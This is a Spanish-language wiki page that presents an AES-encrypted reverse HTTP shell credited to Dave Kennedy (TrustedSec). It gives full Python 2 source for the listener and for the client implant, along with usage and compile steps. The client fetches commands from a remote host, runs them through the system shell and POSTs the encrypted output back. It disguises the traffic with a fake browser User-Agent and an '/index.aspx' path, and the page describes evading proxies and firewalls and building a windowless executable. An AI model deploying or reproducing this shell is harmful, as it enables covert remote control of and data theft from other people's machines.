User Tools

Site Tools


shell_reversa_con_cifrado_aes_win_linux

Shell reversa HTTP con cifrado AES en python 2.X (Clientes para Windows y Unix)

Shell para realizar conexiones reversas contra un servidor utilizando cifrado AES bajo el protocolo HTTP. El contenido de los parámetros enviados (resultado de los comandos) se encuentran cifrados y son enviados mediante métodos POST. Al utilizar HTTP para el diálogo permite esquivar posibles proxys / firewalls que filtren por protocolo además de puerto.

Fuente (trustedsec): https://www.trustedsec.com/downloads/tools-download/
Autor: Dave Kennedy (ReL1K).
Descargar: Mirror 1 | Mirror 2

Dependencia para el servidor: python-crypto.

Especificaciones:

  • Servidor: python
  • Cliente: python / exe (py2exe)
  • Cifrado: AES
  • Funcionalidad de utilizar proxy en el lado cliente.
  • Al utilizar http evitaría posibles proxy o firewall que filtren por puerto + protocolo.

Cambiar el puerto del servidor (por defecto el 80).

server = HTTPServer(('', 80), GetHandler)

Cambiar la clave de cifrado en ambo ficheros (Cliente y servidor deben tener la misma clave).

secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"

Utilizar proxy en el cliente.

# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "ON"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"

Modificar el nombre del parámetro que se envía al servidor mediante método POST.

url=url.replace("cmd=", "")

Forma de uso.

# Cliente
python shell.py 192.168.178.63 80
 
# Servidor (Dirección IP: 192.168.178.63 Puerto: 80).
python server.py

Código fuente del script para hacer de servidor.

servidor.py
#!/usr/bin/python
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
#        Dave Kennedy (ReL1K)
#     http://www.secmaniac.com
#
#
############################################
# Copyright 2012 TrustedSec, LLC. All rights reserved. 
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. 
 
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import urlparse
import re
import os
import base64
from Crypto.Cipher import AES
 
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
 
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
 
# 32 character secret key - change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
 
# create a cipher object using the random secret
cipher = AES.new(secret)
 
# url decode for postbacks
def htc(m):
    return chr(int(m.group(1),16))
 
# url decode
def urldecode(url):
    rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
    return rex.sub(htc,url)
 
class GetHandler(BaseHTTPRequestHandler):
 
	# handle get request
	def do_GET(self):		
 
		# this will be our shell command
		message = raw_input("shell> ")
		# send a 200 OK response
        	self.send_response(200)
		# end headers
        	self.end_headers()
		# encrypt the message
		message = EncodeAES(cipher, message)
		# base64 it
		message = base64.b64encode(message)
		# write our command shell param to victim
        	self.wfile.write(message)
		# return out
        	return
 
	# handle post request
	def do_POST(self):
 
	        # send a 200 OK response
        	self.send_response(200)
		# # end headers
        	self.end_headers()
		# grab the length of the POST data
                length = int(self.headers.getheader('content-length'))
		# read in the length of the POST data
                qs = self.rfile.read(length)
		# url decode
                url=urldecode(qs)
                # remove the parameter cmd
                url=url.replace("cmd=", "")
		# base64 decode
		message = base64.b64decode(url)
		# decrypt the string
		message = DecodeAES(cipher, message)
		# display the command back decrypted
		print message
 
if __name__ == '__main__':
 
	# bind to all interfaces
    	server = HTTPServer(('', 80), GetHandler)
	print """############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
#        Dave Kennedy (ReL1K)
#     http://www.secmaniac.com
#
#
############################################"""
    	print 'Starting encrypted web shell server, use <Ctrl-C> to stop'
	# simple try block
	try:
		# serve and listen forever
	    	server.serve_forever()
	# handle keyboard interrupts
	except KeyboardInterrupt: 
		print "[!] Exiting the encrypted webserver shell.. hack the gibson."

Código fuente del script para hacer de cliente.

cliente.py
#!/usr/bin/python
##########################################################################################################################
#
#
#  AES Encrypted Reverse HTTP Shell by:
#
#         Dave Kennedy (ReL1K)
#      http://www.secmaniac.com
#
##########################################################################################################################
#
##########################################################################################################################
#
# To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
# to make it easier. Can download from here:
# http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
#
##########################################################################################################################
#
# This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
#
##########################################################################################################################
#
##########################################################################################################################
#
# Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction 
# so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary. 
#
##########################################################################################################################
#
# export VERSIONER_PYTHON_PREFER_32_BIT=yes
# python Configure.py
# python Makespec.py --onefile --noconsole shell.py
# python Build.py shell/shell.spec                          
#
###########################################################################################################################
# Copyright 2012 TrustedSec, LLC. All rights reserved. 
#
# This piece of software code is licensed under the FreeBSD license..
#
# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information. 
 
import urllib
import urllib2
import httplib
import subprocess
import sys
import base64
import os
from Crypto.Cipher import AES
 
 
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
 
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
 
# secret key, change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
 
# create a cipher object using the random secret
cipher = AES.new(secret)
 
# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "OFF"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"
 
# here is where we set all of our proxy settings
if PROXY_SUPPORT == "ON":
	auth_handler = urllib2.HTTPBasicAuthHandler()
	auth_handler.add_password(realm='RESTRICTED ACCESS',
                          	  uri=PROXY_URL, # PROXY SPECIFIED ABOVE
                              user=USERNAME, # USERNAME SPECIFIED ABOVE
                              passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
	opener = urllib2.build_opener(auth_handler)
	urllib2.install_opener(opener) 
 
try:
	# our reverse listener ip address
	address = sys.argv[1]
	# our reverse listener port address
	port = sys.argv[2]
 
# except that we didn't pass parameters
except IndexError:
        print " \nAES Encrypted Reverse HTTP Shell by:"
        print "        Dave Kennedy (ReL1K)"
        print "      http://www.secmaniac.com"
	print "Usage: shell.exe <reverse_ip_address> <port>"
	sys.exit()
 
# loop forever
while 1:
 
	# open up our request handelr
	req = urllib2.Request('http://%s:%s' % (address,port))
	# grab our response which contains what command we want
	message = urllib2.urlopen(req)
	# base64 unencode
	message = base64.b64decode(message.read())
	# decrypt the communications
	message = DecodeAES(cipher, message)
	# quit out if we receive that command
	if message == "quit" or message == "exit":
                sys.exit()
	# issue the shell command we want
	proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
	# read out the data of stdout
	data = proc.stdout.read() + proc.stderr.read()
	# encrypt the data
	data = EncodeAES(cipher, data)
	# base64 encode the data
	data = base64.b64encode(data)
	# urlencode the data from stdout
	data = urllib.urlencode({'cmd': '%s'}) % (data)
	# who we want to connect back to with the shell
	h = httplib.HTTPConnection('%s:%s' % (address,port))
	# set our basic headers
	headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
	# actually post the data
	h.request('POST', '/index.aspx', data, headers)
shell_reversa_con_cifrado_aes_win_linux.txt · Last modified: 2020/12/25 22:57 by 127.0.0.1